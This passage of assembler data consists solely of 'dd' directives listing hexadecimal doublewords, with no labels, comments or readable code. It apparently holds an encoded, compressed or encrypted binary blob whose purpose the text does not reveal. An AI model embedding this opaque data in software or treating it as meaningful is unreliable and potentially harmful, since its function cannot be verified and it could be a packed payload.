53A48200h, 4C0121FDh dd 8453CF2h, 3001B831h, 2864CA9Dh, 0F329078Bh, 0C5EA316Eh dd 0ACFB4573h, 0DEE0A253h, 0EAAD4819h, 4C35F730h, 0E15A963Dh dd 2C2C9CE0h, 0A03E1909h, 0FD685745h, 3719B53Fh, 0D3685Ch dd 0FA3003B7h, 78505B66h, 0E963FCB4h, 6121239h, 0A568AC52h dd 0C529F098h, 41D09E28h, 9C589096h, 44CB201Dh, 69CF0518h dd 3E16C7A6h, 0E703491Ah, 37991543h, 7E80C0Fh, 0F4AD1724h dd 52DC9201h, 7978E946h, 9BBC4A43h, 58B8CC10h, 0CE723FAFh dd 80E44D27h, 0B84BF9E8h, 282897CCh, 0C8E913F2h, 0A29DE83Ch dd 7671555Fh, 2E7AB981h, 7F701427h, 29BA95E0h, 0BEA43998h dd 0F2FB5282h, 0D19240DFh, 0BAD745A3h, 0B22D81E9h, 0E8F038F6h dd 688050F7h, 34224BC2h, 5E998164h, 28A42023h, 6D344004h dd 480D529h, 3B7DE3F5h, 0E50201E9h, 236247A1h, 0FDE46A60h dd 70DCBF27h, 0A1336428h, 1D32BC68h, 60CBD5F6h, 9AC61B5Fh dd 85AEA9EEh, 96BEEF62h, 7AB70C12h, 1A40B51Eh, 0FC9596D5h dd 0FFFEC4F1h, 8D884E91h, 69871D05h, 31E44896h, 7072B617h dd 9B5FF4BBh, 79EB3D25h, 0B4AC2CCAh, 2A6804A4h, 0B680394h dd 0F274E954h, 0ABE6F7A5h, 20D6E801h, 0D02A5D6Dh, 0C982D1CDh dd 0F14801E4h, 122A86C5h, 52C11F71h, 0EA80C1B2h, 83C2FE8Dh dd 0F0E96B0Ah, 0CF9F02DCh, 4F85037h, 72C6D187h, 31612802h dd 309931D2h, 0B109EAFEh, 944BB6Ah, 296AE0B6h, 82AEB42Ch dd 765D143Ah, 0E6A016E5h, 7E7F8802h, 0BAE9013Bh, 0C19EF711h dd 0A02614B5h, 1574ED4h, 0BE356198h, 991E5508h, 5F92D2F0h dd 7C04A967h, 0F02FA247h, 671F5C3Ch, 4BE630B8h, 2C356B08h dd 0B1C316BAh, 0BE89EE45h, 0EB4EF9F1h, 1FCC60Fh, 26E70EA8h dd 96BFEDE9h, 89AF5C7Ah, 0B6A92A66h, 8C5F84h, 5A7FC580h dd 6C6C9530h, 0DC95C3F0h, 33466618h, 351A4097h, 0EC8E13A1h dd 1380ABFCh, 94F3EC1h, 0D90163E7h, 2E08E488h, 8A4E8902h dd 68099BF9h, 0A6CB2F62h, 5B5CCCCBh, 50A35ABDh, 8A5D105Fh dd 4FEA96DBh, 0FEA2B204h, 24307EF5h, 0FCB9805Bh, 73C6790Ch dd 2964241h, 0E94BD131h, 2901B228h, 0D02E87DEh, 0CB81056Ah dd 304E1B09h, 3C19845Ah, 0C4D18904h, 9DC84729h, 8BC6E3C3h dd 2ABB4200h, 893F4816h, 4AB6F8D8h, 1C39529h, 52758287h dd 0E7B82A16h, 0AA57E9E0h, 28A0DB97h, 8FB0323h, 54E938C7h dd 70D3EF50h, 550B1F25h, 0EFEC4824h, 0DF2EE4C9h, 0C12477DDh dd 0E9C16602h, 2A815103h, 0F28F5535h, 3C5EE9E1h, 52B600B3h dd 82AEE80h, 0AB5A4EF3h, 4AE9B178h, 0BF47094Dh, 520390FDh dd 3FFC97B6h, 0C2F80DCDh, 8178BEE0h, 31F876EDh, 0E6EEC9A1h dd 694A90E3h, 46DADB01h, 0DD7050DBh, 0C10DD2D6h, 0ADB26Ch dd 9092ED80h, 90C72592h, 0B230A4D9h, 2DCD6854h, 81F02979h dd 0C060883h, 573D5FFEh, 0A6C1273Ah, 68D55E12h, 2D9E9609h dd 0F00BE8h, 0B4C3E913h, 184C0EDh, 0CC62BF6Ch, 25FFCC19h dd 0A7E40CF7h, 6AB61C12h, 68ACA4ABh, 0CCB971E2h, 0A9E95084h dd 91D591A1h, 2E4EA17Fh, 0A9C4B9E2h, 378FBB31h, 90E66D12h dd 746CD53Bh, 0FEA57150h, 10776Bh, 0D3437018h, 58C3B84Ch dd 51003E5Bh, 6348EB9h, 0A0A22920h, 0F15217F6h, 29E98DBCh dd 0E7206AFDh, 0C42F7A68h, 0FEA56A87h, 6600E88Eh, 0AEB75351h dd 801CD7F6h, 0EFC106E7h, 3F82E9C0h, 55B0CC6Eh, 0C3BA2BF4h dd 28AF894Ah, 0E52DC114h, 0CC7CD807h, 38CA080Ch, 5C2A7E14h dd 60AB40E5h, 618C885Ah, 8BB54A7Bh, 8D2D5A00h, 0D115C07Ah dd 0F5BFC67h, 0C4BBA285h, 0E9E1C0F3h, 0F85125A2h, 1380BFACh dd 0E28762F3h, 8CE05AE5h, 0D4D6B528h, 80DA50BBh, 20038CA1h dd 62E1B394h, 668A26BEh, 33D0CD89h, 82B5C936h, 0E4BFA616h dd 4BF2FA2Dh, 1F9E92A5h, 0C37DCCCAh, 896EF150h, 0A63F7935h dd 9C0950EDh, 3A130110h, 1ADB127Bh, 0BD9513EDh, 0BFE9631h dd 7060901Dh, 0F5EF535Dh, 595696EBh, 0B7429ECCh, 0F7468C7Eh dd 0E5A7B76Eh, 1D284894h, 0DB9C834h, 3E2DD0BEh, 1B7E362Fh dd 80CB9F20h, 9EB72CFDh, 27A1C217h, 13A45B32h, 7B3BE15Dh dd 0AB5BAA8Bh, 87598161h, 9E15B551h, 5DE81780h, 1E67BE05h dd 0F62D7A25h, 0CA6ACDEh, 0E33FB4B6h, 4C325878h, 0FD2D6CBDh dd 2F5A4C69h, 550156CBh, 0CE53B468h, 8E6F3007h, 95B2604Ah dd 0D3DF2778h, 4172AB7Eh, 307E550Fh, 5921E409h, 34E97B0Bh dd 0E1E2A1Bh, 0E6C78589h, 0E2DE95C5h, 80C55D58h, 7EEE4941h dd 7FE18F70h, 244CD3DFh, 0E9C90981h, 13082CEAh, 0D0ECAAB5h dd 0FBD8301Bh, 0BE5E79FAh, 89FF5A17h, 0E1EFD9A5h, 68088BFDh dd 9FE450B0h, 0D6A02D16h, 139D32A1h, 1E6FC147h, 0E8ECC2Fh dd 0C95411CFh, 7CB0AB84h, 4A48EB63h, 0D6B5B234h, 0D2E9F820h dd 46289B67h, 8DC4FF1Bh, 17EE833Bh, 68B161E9h, 5007DB6Ah dd 0C5BC3EB6h, 8846D883h, 0B348D965h, 8696AC6Fh, 0A46DC057h dd 305E7B92h, 0EA3DBADBh, 0B7092EA5h, 7F02033Fh, 677F350Bh dd 4C53A501h, 16392B0Eh, 38429DEFh, 76E9CB21h, 0AF2BA54Ch dd 0D9719FEh, 0EECA6E53h, 36CE57Ch, 0C113F8B4h, 335AD329h dd 80B6E789h, 4C65887Ch, 0AA27C4FFh, 1E10C6F6h, 4A654C87h dd 0C506CBBFh, 1DA98C66h, 4B7C5D10h, 0F5A045FBh, 0A9282EFh dd 774A6802h, 0B0639148h, 18F557C3h, 896198AAh, 0B4FBFAEBh dd 0E97E24CDh, 99654D6h, 48B24F0Bh, 736C3B0h, 11BA04Dh dd 8548EEBh, 1EBF5700h, 0E903AE7Bh, 275176B7h, 455DFD62h dd 0AAB4920Bh, 3D2F61A1h dd 267B513Bh, 7B2D0070h, 0CDD33DF3h, 5A56F810h, 8FFCF117h dd 0E5F08914h, 22598325h, 0BDC0D097h, 762C1B8h, 0DA3507D4h dd 0E0178533h, 22065247h, 81490D19h, 7529EC30h, 9795FE27h dd 3944FD5Eh, 7CF43197h, 0A12FDC8Dh, 5C9B501Fh, 2AF1215Fh dd 0FFB40EECh, 9ACD94A0h, 0C6092EA0h, 75E95812h, 246CD49h dd 68BADCEDh, 8C25594h, 0B86FE875h, 0FD6AB5A7h, 0D4A50CC5h dd 33FCE237h, 0BF82A72Ah, 0F5D97064h, 0F1354840h, 0DF22563Fh dd 7CD51F4h, 116CB5Bh, 5FBED0F9h, 1248240Fh, 4C6E0548h dd 32B804A7h, 0B1495F7Dh, 80F32BCBh, 82051264h, 0C35CA770h dd 0B0E5F381h, 0E72051F8h, 75ADB0F7h, 0E6CB4E5Fh, 849A4CC7h dd 81123A6Ah, 2F5452C1h, 2784FAF9h, 8F2D00B5h, 9762E34Bh dd 0C270358h, 7224F625h, 3A0AD04h, 0FBC1EAD1h, 0D0200405h dd 95A8DACEh, 0BB6900E3h, 6858F806h, 0DF251729h, 1D7BBA81h dd 0BC3F733Eh, 342B01E7h, 3DE9C5AEh, 4E7D5A28h, 413E6D9h dd 19577859h, 7398BD80h, 8211482Dh, 214035Bh, 31F1CDB9h dd 7FCAC5E9h, 94F34ED0h, 82C82578h, 2C3088D6h, 48A32A8Dh dd 15040D75h, 0C564B134h, 9190EEB9h, 968D62E9h, 0A68418Fh dd 0ACFD9736h, 47A2B590h, 20249097h, 0EEBFB960h, 0D5DE2577h dd 0D40BDEF2h, 0FD6F4F79h, 0A27FFB82h, 0E1E8B974h, 1ABE9E1h dd 4405893Fh, 0AF3094E0h, 9E106CE6h, 0FBB90484h, 6882A3CBh dd 2FFF6CAh, 3E880E68h, 0A949487Dh, 4A5C3B7Dh, 58E8CF00h dd 5AE97086h, 0B7019A94h, 289204D7h, 49BD0120h, 85010D9Fh dd 1F5BCCBh, 45FAF3C7h, 0F5704C5Ch, 0D51CB741h, 0BDB999B7h dd 201D9A4h, 0DD1E9EAh, 208297Fh, 0D5F08403h, 589789C6h dd 2D567D0Dh, 1DC86197h, 4C1748A6h, 0AAC829DAh, 0B3BE5F38h dd 49544C96h, 8BBB4ADCh, 9D012AAAh, 39BB5300h, 8129C308h dd 234409CBh, 62076078h, 80822720h, 5E9DA09h, 894ADB59h dd 0E3AAAF58h, 0CB591C4Fh, 6CA4F4D7h, 25E004C5h, 0EF292D7Eh dd 61082410h, 3114E9A3h, 0EC134362h, 50E46194h, 3E9E2054h dd 2E0DB9Fh, 3C3A2388h, 8E031061h, 175B4E3Ah, 3FB79DBBh dd 0E36BD7A1h, 47F4859Ch, 1EEDF490h, 57F006Bh, 3828792Ch dd 0F5043548h, 21A7A094h, 0F6F680FBh, 2D053261h, 3B4DE92Fh dd 683A20AFh, 56B64907h, 0B9E9E660h, 1314D63Ch, 739DFBEEh dd 272D4490h, 0B9927D5Ch, 691E76C1h, 0DDF6C053h, 97693668h dd 0B10B48E6h, 6C9FE7Ch, 750604ACh, 979A4D06h, 3BBD5900h dd 192E196h, 0E9ADC562h, 27DB5C8Ch, 0A1F283FEh, 60EB8058h dd 50D20680h, 2E0406B0h, 0C0C8FE07h, 387708E8h, 0A2E9C300h dd 0B36EE197h, 1FCC4083h, 51E597EFh, 3AB0D452h, 1ED09D02h dd 0FAD6362Fh, 0B100865h, 0E054797h, 81819426h, 0AF93E525h dd 5887E9C2h, 93F54EF0h, 0A1B2E82Bh, 9AF64568h, 63E6FF95h dd 802F5DA4h, 0F6C32ACAh, 0B55E8210h, 0CCA47E1Dh, 0A5DEA559h dd 6B60D792h, 69097693h, 0E04FE910h, 55C56881h, 4058400Ch dd 627505B9h, 0AA410747h, 404AD045h, 0F602AAE3h, 556EB23Fh dd 5D12D45Ch, 69519AAh, 9CFF3002h, 96BB0428h, 5413C500h dd 1CE90C67h, 1A399F25h, 68F18458h, 529D2BB0h, 1DD3FB40h dd 5004400Bh, 1C555B1Dh, 3FFC38Dh, 245E3F0h, 0E92CE679h dd 0D174C949h, 0B46963h, 255DE811h, 480F24DAh, 0D4200551h dd 9509535Eh, 7EC70917h, 251004FBh, 0EF2FC012h, 0C227693Bh dd 0BB74A77h, 9C681608h, 0B54024Ah, 0E87D0939h, 30217806h dd 140C1B12h, 3F5B1855h, 0EB1F1BBDh, 6CB74941h, 238C3000h dd 609D2A59h, 0BE6DE9B6h, 817E8905h, 0BDFE66FDh, 0E987EA95h dd 0D50B99DFh, 42680030h, 608D7B4Eh, 0C30123C2h, 0A4E91390h dd 21FCDF5Eh, 0F44105A0h, 5EE664Ch, 0BC8845B2h, 5FE4E6BFh dd 10B20BEh, 0BA4A52C8h, 5958D3F9h, 0C84E8227h, 14F7882Dh dd 81F65043h, 0E91607Bh, 8058E328h, 73A6C338h, 84EBF890h dd 0BAE96710h, 3E2D5BF4h, 70A524FBh, 0E3EA48F2h, 0F012449Dh dd 805259B4h, 0AEC8BF7Eh, 7CFAA8B6h, 4BA44E52h, 625ED6B4h dd 95BA1045h, 4057BBC2h, 9D936F16h, 0CC9498E9h, 40B5383Dh dd 560968E1h, 4A0FAE29h, 0F694E271h, 0F9669B00h, 0CD15E91Ah dd 0D8915F95h, 9657E855h, 0D12DD6A5h, 0EB6841E6h, 10D3366Bh dd 4A3B43E7h, 0E25B2C13h, 452D7E8Dh, 2ADF4648h, 984F227Eh dd 0B24920E5h, 5A6D5F60h, 0B72EA968h, 0A62C8CE6h, 3ECA7B26h dd 55ED6889h, 0FF60739Ah, 21807A87h, 0D43FEED5h, 0F30719E7h dd 63563DF8h, 62DDE89h, 329455F0h, 0D873F7FAh, 0C5133518h dd 7C6AEB3Ah, 0DC4F9046h, 8A8CE010h, 0E5CB16C0h, 4E03E95Bh dd 0DDAAE490h, 1E309441h, 5A53F85Dh, 2568E836h, 144C8B34h dd 807FFCD4h, 68169158h, 11EC1CC1h, 0D377E9C4h, 0C0B15EDBh dd 0EA5F9380h, 14E52AAh, 9B30D9CCh, 4418AD5Ah, 10AC27E0h dd 4EE2F456h, 0D82D000Eh, 0FA015AE2h, 4FF3C681h, 327D4DC7h dd 0BD580840h, 0DDEB0071h, 0D47E9CEAh, 84C01816h, 0EE50E5B9h dd 0F1810236h, 35F85D84h, 63284576h, 2F606D7Ah, 8534C111h dd 0B9CC4E9Bh, 56814B24h, 0C43D7C27h, 3A576810h, 8F097655h dd 8022017Ah, 5194F764h, 895B1719h, 0E11F88FDh, 0F381F096h dd 0F17EC462h, 55CEA441h, 0E3D90404h, 54A78892h, 2A0018F2h dd 5EB0CE81h, 5AE931A7h, 0EBB3C5EDh, 0B6A8EED8h, 3CE90536h dd 0C48DB4B0h, 2728CF4Ah, 7EDA8814h, 29A9FF82h, 62B8BC55h dd 97FF52C8h, 31925009h, 997761AAh, 82F70296h, 0D956A38Dh dd 52588A5Ah, 9162089Ah, 8E1F4D16h, 58870A5h, 9B7083CDh dd 3996806Bh, 9059C2AEh, 9D2D0252h, 0C23E7132h, 0D8C4EB7Fh dd 4E1376B0h, 41ECBC1Dh, 53A10107h, 0E5CC2AD2h, 45C14A21h dd 0A375225Fh, 5DDE10ACh, 0D76C915Ah, 0C585C3C8h, 8428FB41h dd 523940DDh, 9EA847ECh, 35040905h, 0C189585Eh, 912CC499h dd 10190326h, 25927BAh, 91BB7255h, 1D8170F8h, 2552F281h dd 0FB944129h, 0EA372C6h, 963BB72Ch, 5C7D46BEh, 2FED1D97h dd 775FAE92h, 1E73C940h, 4F36921Fh, 0B2998C89h, 8C685D54h dd 0B9E480Dh, 27E2206Fh, 2C5F3937h, 252DFF7h, 764E64B3h dd 5E74DB40h, 7C4AE625h, 0AA603A4Bh, 1B6B249Ah, 2A97E91Ch dd 0D9DD72Dh, 0A50DE909h, 9BEF53DAh, 4E2F5815h, 176046E5h dd 4A1A05DDh, 9CF72922h, 0B35B1EB4h, 5BA8964h, 0BEC083E5h dd 9F539868h, 23AD1AE5h, 21B6F0Ch, 2942C687h, 34D00672h dd 18028A20h, 83542768h, 2D804C77h, 866B1690h, 538AA21h dd 6EBA881Ah, 34791E14h, 78062CABh, 59282510h, 26660282h dd 0F1310BD4h, 4D0BA41h, 241E80FEh, 0FCBF2C3Ah, 3694A761h dd 3F7A3697h, 8ECA85E9h, 0D6292D53h, 38BC89Bh, 77181105h dd 94E8C395h, 0E90FA3B0h, 46B17130h, 0B3220768h, 13560AABh dd 15C24EEFh, 49C01A62h, 0DB2D6386h, 0E406D266h, 99D69FC5h dd 27CBC488h, 0E851AF49h, 0C89FB8F9h, 0BD7D2693h, 18A23F6h dd 7A2F87EEh, 5D10CE32h, 6FF2E923h, 9BA2EB85h, 2084B49Fh dd 443332EAh, 75F91E7Bh, 45133AC3h, 30C3950Fh, 0BF2F7862h dd 59E82801h, 999265C6h, 7B43ACB1h, 9BFBDA84h, 0E3A95B77h dd 0EF36E08Eh, 82831098h, 510E8340h, 0BBEECB28h, 5904727Eh dd 9A6EE93Ch, 4FC8EF12h, 69DA1405h, 2E12AA56h, 8729D235h dd 27E2ECDFh, 6EF6A1F8h dd 0F146DE6Dh, 81094ADEh, 0A76334DEh, 9CB4FE40h, 43EBCB94h dd 0E2D0A089h, 71C2AE7h, 0B652803Fh, 21F6800Eh, 7E630C0h dd 94E99D0Ch, 97607C4Ch, 0A64995BDh, 5F8BB492h, 64892A5Bh dd 164D6120h, 0FEADBD6Eh, 4B267196h, 0DE85B99Fh, 97609EDDh dd 71D71C42h, 0B9D449BFh, 0B4A1902Dh, 9464BD9Dh, 2EFBDBA1h dd 0FE09CD97h, 0C2310984h, 0C1D7E685h, 2C290CFEh, 0F47C2F5h dd 0B990E015h, 90D226FFh, 259E22D9h, 6CFC43ACh, 5DD83C73h dd 4E029790h, 1310A4C1h, 30E97EECh, 31286544h, 5CD75BDDh dd 0D14A62F9h, 3479AAC3h, 3278FFE6h, 5D7AFD25h, 3C215647h dd 7DBD6812h, 12678A97h, 5D49B8E9h, 2A89DF5Eh, 52B00C16h dd 64BAC725h, 58F3A224h, 3C8F48F4h, 0C948B529h, 0C6E92A01h dd 1FC65B1h, 20E02D86h, 0FD7E31BAh, 0BB7C2937h, 0AC41EF60h dd 0C50CC034h, 294C6E42h, 44E5C17Eh, 30D70008h, 92223F72h dd 544B5A90h, 49B51577h, 0E4EE4DD4h, 1F5AD0F9h, 0A3AC8531h dd 71F6902Bh, 38022143h, 0AF68C329h, 6036F264h, 8AC59D74h dd 617B5071h, 0B1AC4C2Fh, 0A22E14F4h, 6BF37B82h, 0EC40CF8Bh dd 7D191E30h, 3A76E7Bh, 6C6AE948h, 16C3633Eh, 0AB04FC44h dd 0B4F4E445h, 0C92D1EBCh, 84A9CA6Dh, 15092ECh, 0C119274h dd 52D26F4Dh, 7871E2DBh, 0BA53BF17h, 0B874AC69h, 981A48Ch dd 6130999Eh, 0D5082656h, 685F024Ah, 0A9667625h, 6D5EF49Fh dd 62FB0B0Fh, 5EE8011Fh, 0AE0858D7h, 7CC399CCh, 0E013180h dd 2BE74FE2h, 71325E29h, 0FF6855C0h, 7C059B40h, 5E5C15Dh dd 3706D203h, 1BE9B894h, 8B6BE10Eh, 4DF449C6h, 0C482C60Dh dd 90436078h, 91C1B879h, 86BC895Eh, 0B64D80E5h, 40604B6Bh dd 1108450Ch, 84015A1Eh, 0C081A33h, 9175140Bh, 246C253Fh dd 687FBE02h, 60634F81h, 8BA7188h, 0B342E912h, 2F2E6BEh dd 3779B8EAh, 4628F73Fh, 10A72C08h, 0A0EC5EBCh, 235298A2h dd 65ABC702h, 6231FD64h, 21467540h, 0ADB8A80h, 0E936AC0Bh dd 0FD66C24Dh, 0E912EA36h, 8161C868h, 4C65DDD9h, 1C0B7698h dd 37DE545Ch, 9A2DCF89h, 5E84C1E1h, 0FE201086h, 5D30365Bh dd 4AEB9103h, 738F2546h, 80195EAh, 325B2388h, 9CCAD250h dd 786CE90Dh, 3AF77F92h, 0E8E2054Fh, 11B326h, 31FE2E21h dd 9D4EDEF7h, 0B0D0E19Ah, 0A232F298h, 54D73550h, 89DB2764h dd 0E6605609h, 0B5332046h, 0DAF7661Ch, 981EDCE8h, 0BD46557Bh dd 1F1420D5h, 0ED0E54F5h, 902CE65Ch, 3405323Ah, 0AFF8DFD2h dd 60FBC2FAh, 2825E94Eh, 7869DC15h, 27978D55h, 6D044467h dd 0AE2127C1h, 581DF32Ah, 22D29FD5h, 0EBC49AF8h, 84DFA3C9h dd 3085DE29h, 2CE5EAAh, 0BD80E9FEh, 1FA0103h, 0A66F83DCh dd 0FC0A8B7Ah, 0DE9FA503h, 0B8977B08h, 0DC1E8B24h, 54352A8Bh dd 0E11230ECh, 1F205B4Fh, 3C80A031h, 0C1BF734Ch, 0D1109586h dd 1D5CDA0Dh, 0BD5B5F50h, 0FE2572FCh, 20630F2h, 0F5FE368h dd 87933A24h, 5F092E4Fh, 804B3086h, 6EB8ECCCh, 0FC584040h dd 0A3AE5A2Ch, 8E0A1AE7h, 0B4305510h, 0D17F2159h, 0F300A84Ah dd 433225B8h, 0D8F7051Bh, 81E8C148h, 741A5497h, 0F209875Dh dd 0DD2EEB68h, 0DA6BFEB1h, 88200660h, 177F3181h, 8BDEBECBh dd 0B792D054h, 8096EE3h, 7870E9DAh, 0D3CCB772h, 0FE09ED25h dd 5AD35015h, 19E968A0h, 81008594h, 115D0CE5h, 0DFFEBD75h dd 14C0D60h, 4473BF74h, 0FF6EE98Ah, 0D49E5DA5h, 65B1DCB5h dd 0FFF2AF76h, 2DC7680Bh, 5B78EC5Ch, 0B2AB25E9h, 58584F52h dd 79BF0778h, 6FE3441Bh, 5D1C3BC7h, 0BAE6B712h, 84EAFA74h dd 67F3AF03h, 38885037h, 342682A1h, 51B35513h, 4C1DC615h dd 80F8E90Bh, 0A182AED6h, 41D75322h, 0FD049A70h, 3FA6924Ch dd 11FD3425h, 86482958h, 6CE68A0Eh, 0F9BA7998h, 4620B48Eh dd 375476C0h, 0C42F052Dh, 5D9AC91h, 4D1E22BEh, 5FC6D800h dd 0C1110E07h, 57362A8Ah, 28A93878h, 0E92508EFh, 9DF65006h dd 68C1385Ch, 8B2A1599h, 28C54FA9h, 0E2E5A047h, 283CC530h dd 9FEAFAEEh, 13316102h, 0D588DD8Eh, 9092531Fh, 4F889FA0h dd 361097FDh, 50420E1h, 34AF7E58h, 17F9D87h, 618246Eh dd 1213E0F4h, 0BB01F716h, 0AAD117E2h, 2ABC680Eh, 30CDEB16h dd 317F4C32h, 30BF19B2h, 0D17C64D0h, 4C015A11h, 1F005389h dd 352106EFh, 0A6EBF5A1h, 5D10E80Dh, 5A11A44Bh, 0F788531Fh dd 0B5D048h, 20EBE681h, 24B049A3h, 2799A1E6h, 68536681h dd 8B8832EAh, 7425A3D6h, 0D7E99Dh, 1C1BE745h, 0EE77B84Eh dd 3E830415h, 959497E9h, 66F59986h, 5AE85F7Eh, 2DB8DF1Ch dd 0E953287Eh, 0A894DC8h, 0A1905E53h, 0E12568DEh, 56621066h dd 2D5E7B58h, 2E462D3Bh, 80D3A734h, 9902A909h, 896B51B3h dd 89C47B52h, 80C2C7E3h, 4E5687C3h, 6897201Ah, 73BE606h dd 0F7490A0Fh, 0FCD924D1h, 0E79CA51Ch, 6D8D4D92h, 0B4505300h dd 58E788A2h, 1029B630h, 0A877E960h, 4F82885h, 2C5BEC04h dd 0B0DCE83Fh, 4FB0685Ah, 0BA723115h, 0C96B6992h, 2F1F5ED2h dd 0D42F1CEFh, 0CB81780Ch, 0EE3240E0h, 0A3013014h, 0C783411Eh dd 236AF43Bh, 0AAE909A1h, 5540C462h, 3897127Fh, 806C6F6Bh dd 0B30A5359h, 0B6C3FE8Ah, 3205C0Bh, 76528D0Eh, 0DEFD7069h dd 60DCCA8h, 703BE16h, 21353E5Eh, 5893E2F0h, 66641688h dd 62AB048Bh, 788C1F7Ch, 3C588AC8h, 0FA26D2F6h, 0AC01928Ch dd 0B7F44F4Fh, 48D19555h, 2E2200Bh, 9531B0h, 5AD5015Fh dd 1D2D214Bh, 0CD0B0320h, 6A5BD6F4h, 5D3ACE2h, 0BB5605F8h dd 0B850C220h, 0FA2C16EBh, 272BF9F0h, 0CBA9516Eh, 623E20DDh dd 0C22E7659h, 0F864B53Ch, 0CD7EF640h, 5AD77BC7h, 8FB8C985h dd 9328C176h, 7031C778h, 4F130252h, 5DEB34BAh, 6C675F11h dd 75880B0Dh, 13507754h, 718081BBh, 0AFD103C4h, 7EC7CB83h dd 0B07D59A9h, 10F4B45Fh, 74B3BDE9h, 4777880Bh, 2ACC114h dd 893F028h, 263DE710h, 12457760h, 0C14F6FB0h, 2F0CEFA0h dd 20FE2A64h, 0B46834F2h, 0B2B57465h, 0DBEEE6D4h, 3BE91578h dd 0F22D2DF9h, 0E5055BF5h, 0AB3274FFh, 0D8306441h, 6E6F1478h dd 137F98A5h, 0C507B84Bh, 0E91A4A90h, 0E15E160Bh, 0D42A80D0h dd 817DD21Dh, 755C0BF7h, 0C5F61E01h, 6B901E30h, 2DF19073h dd 1FA2EAB3h, 0F375E824h, 1C5D25ACh, 6B269987h, 0DBE52B5Dh dd 760C02FEh, 457E0AF7h, 42A66805h, 48C48CBCh, 7B07B355h dd 0D0FBC04Ch, 0D568823Ch, 0F69AFF3Fh, 458F0D09h, 8A570BD3h dd 33C00990h, 89FE7005h, 93075EF5h, 6D946416h, 2E6E1FBh dd 0A5745D08h, 0BFBEB770h, 5602B564h, 4579D668h, 7BAE4146h dd 9840CC2Ah, 847532FBh, 0AC881AFCh, 0B1360094h, 2B840562h dd 0C8BAB3CBh, 0EB81C980h, 2C11184Ch, 73E6616h, 41B52FC5h dd 0C1EBAFFh, 0BA61C08h, 5D6FE73Ah, 0BE4CA852h, 86F2804Eh dd 0EC203613h, 2DD20BCAh, 9EC36E25h, 785DC2F8h, 559C176Bh dd 16ADF925h, 5052C386h, 0B6EAFEE2h, 2EA7C60h, 0C7F73B5h dd 0EF6B98A0h, 721D121Ch, 46585ED2h, 0B543EA3Eh, 7051CD39h dd 56BA6560h, 27176804h, 47E20CE3h, 20E4578Fh, 5F2A313h dd 18743369h, 0CF8BD2BAh, 4E7CEB03h, 2A40F14Fh, 0EDA48CF9h dd 1E3A13B3h, 0FC8C3DBBh, 7795B994h, 0CB55D892h, 58E39FACh dd 5F3A074Bh, 81685152h, 3A216C39h, 3C4ACA2h, 5F5B09EEh dd 5E74A71h, 5C93242Dh dd 0FD21FE3Eh, 42C53CEEh, 0F917C53Ah, 5A60F535h, 39C0DDB5h dd 0ED8303E5h, 0F6CDFE07h, 0C8B252D1h, 1250BFE9h, 3F184144h dd 6AA0542Dh, 7E20270Fh, 20B03765h, 48382CA8h, 80514454h dd 96BB0805h, 8D985038h, 2260CF28h, 431AF997h, 0E47AFCDDh dd 82810B09h, 8A1603E0h, 0F3AB854Dh, 8046D08Fh, 2668C80Fh dd 7A98B773h, 31966F10h, 5D49A62h, 0BA88FB51h, 0BC681858h dd 0AE608B5Dh, 210584A4h, 29272D3Ch, 0DD72F082h, 0BBD48889h dd 11FBFDDAh, 2E45D2Ch, 0C04DE942h, 0DD40687Ah, 0FA17E2E5h dd 3B259201h, 9E1440BDh, 0BC41AD4Dh, 98EF6CCCh, 5946E471h dd 86811D37h, 3E4C225Fh, 6C4A4F0h, 0E91A523Dh, 0BF0469DCh dd 7CE30E8Dh, 60DBCC80h, 51C7606h, 9A63F9E7h, 1EF69624h dd 3F2D0948h, 0BB04FA01h, 29668847h, 97184FFh, 0E67D5F08h dd 6850022Eh, 774C5A3Ah, 0A5C7ED80h, 0F6B588B3h, 4FF2105Eh dd 4B4621AAh, 7D8704BCh, 78F738C0h, 890D0040h, 52AD523h dd 0FC004993h, 3C03548h, 2D576Dh, 72AE58B2h, 0E0E9C121h dd 80810F58h, 4B700C50h, 7EF60481h, 830A4D3Eh, 87DAE941h dd 0D1947C5Dh, 84183866h, 5A1D6EF6h, 9EC20BF1h, 6944C555h dd 77F56102h, 0F682D876h, 6306010Ah, 4AF3EBC9h, 0BAFEC40Fh dd 4BD8EAE9h, 455E685Ch, 0B2EB9944h, 6DF3C640h, 52013955h dd 6B316468h, 31715A40h, 0D67CB92Fh, 30AC8DABh, 58818E32h dd 37B0A540h, 0C5213CF2h, 0AF4A3E48h, 70208E30h, 713F9810h dd 515997E7h, 67546980h, 85FA3138h, 71020A6h, 986B7A07h dd 7801953h, 2ED62387h, 5404C897h, 1B5E2FE9h, 208EBDE9h dd 709A7379h, 8B46F502h, 9456CF37h, 32E912B9h, 68F6CCACh dd 522A6B2Dh, 0BBC9093h, 0D1F676B1h, 37B7FD87h, 0CA8881C1h dd 30ECF459h, 0C8E65AFAh, 7F8B6625h, 0EA36174Eh, 3C5A60D7h dd 0C79367FBh, 3F1FDD9Bh, 0D96813B1h, 27B2BC97h, 1DC3249Ch dd 0F3D816BEh, 0D1EAD783h, 8E6DC01Eh, 7B7EE5Fh, 17B45F8Dh dd 350041FCh, 1D9A6C91h, 0D19DC289h, 3F220901h, 2FB93475h dd 0CE842CE9h, 13E0BF59h, 8D681830h, 5B132114h, 0E27F6681h dd 8B7B355Bh, 0E7BD6864h, 77163E04h, 1B1AE86Dh, 0F3081DAFh dd 7DCEBA5Bh, 74BF00CEh, 0F8CA6716h, 0E8BD973Fh, 50203FE1h dd 0C67316F5h, 8F740B6Fh, 2FC9CDFDh, 0AAC3B7D6h, 0E2E7070h dd 4EEF80F7h, 0AF81C764h, 9420F344h, 18ACBA00h, 529570CDh dd 37D5044Eh, 57010B32h, 0A28097B2h, 5D76EB52h, 0E9089097h dd 31854A90h, 7F2FFD27h, 5D6C8E9Dh, 4ABFB8D6h, 89FCCA91h dd 5A92FE04h, 5FBE5A0Eh, 5ABAA802h, 0C9DE63BDh, 0D72BA46Dh dd 0FD0940D6h, 97B1877h, 5A77CDD1h, 77787A6Dh, 8D712EE9h dd 91894325h, 7CDA0C47h, 45C16725h, 8009240Fh, 22096CB3h dd 6B13C635h, 5CEA737Ah, 3ED1E6C4h, 8A5A3F16h, 0D77A59AAh dd 0A4D94A95h, 18282A40h, 0AF6B4A05h, 10AA4E94h, 0A1580CECh dd 9B81EEB4h, 0D82AA4C8h, 44BE51A7h, 0E8D1E962h, 1EE7B9B4h dd 8B584E78h, 0EBC8A7E2h, 8A2D5420h, 0A0F7F453h, 675F5808h dd 24F5902h, 0F97E5835h, 733C0500h, 25E90330h, 6E5FA39Dh dd 10EA0528h, 0E5169714h, 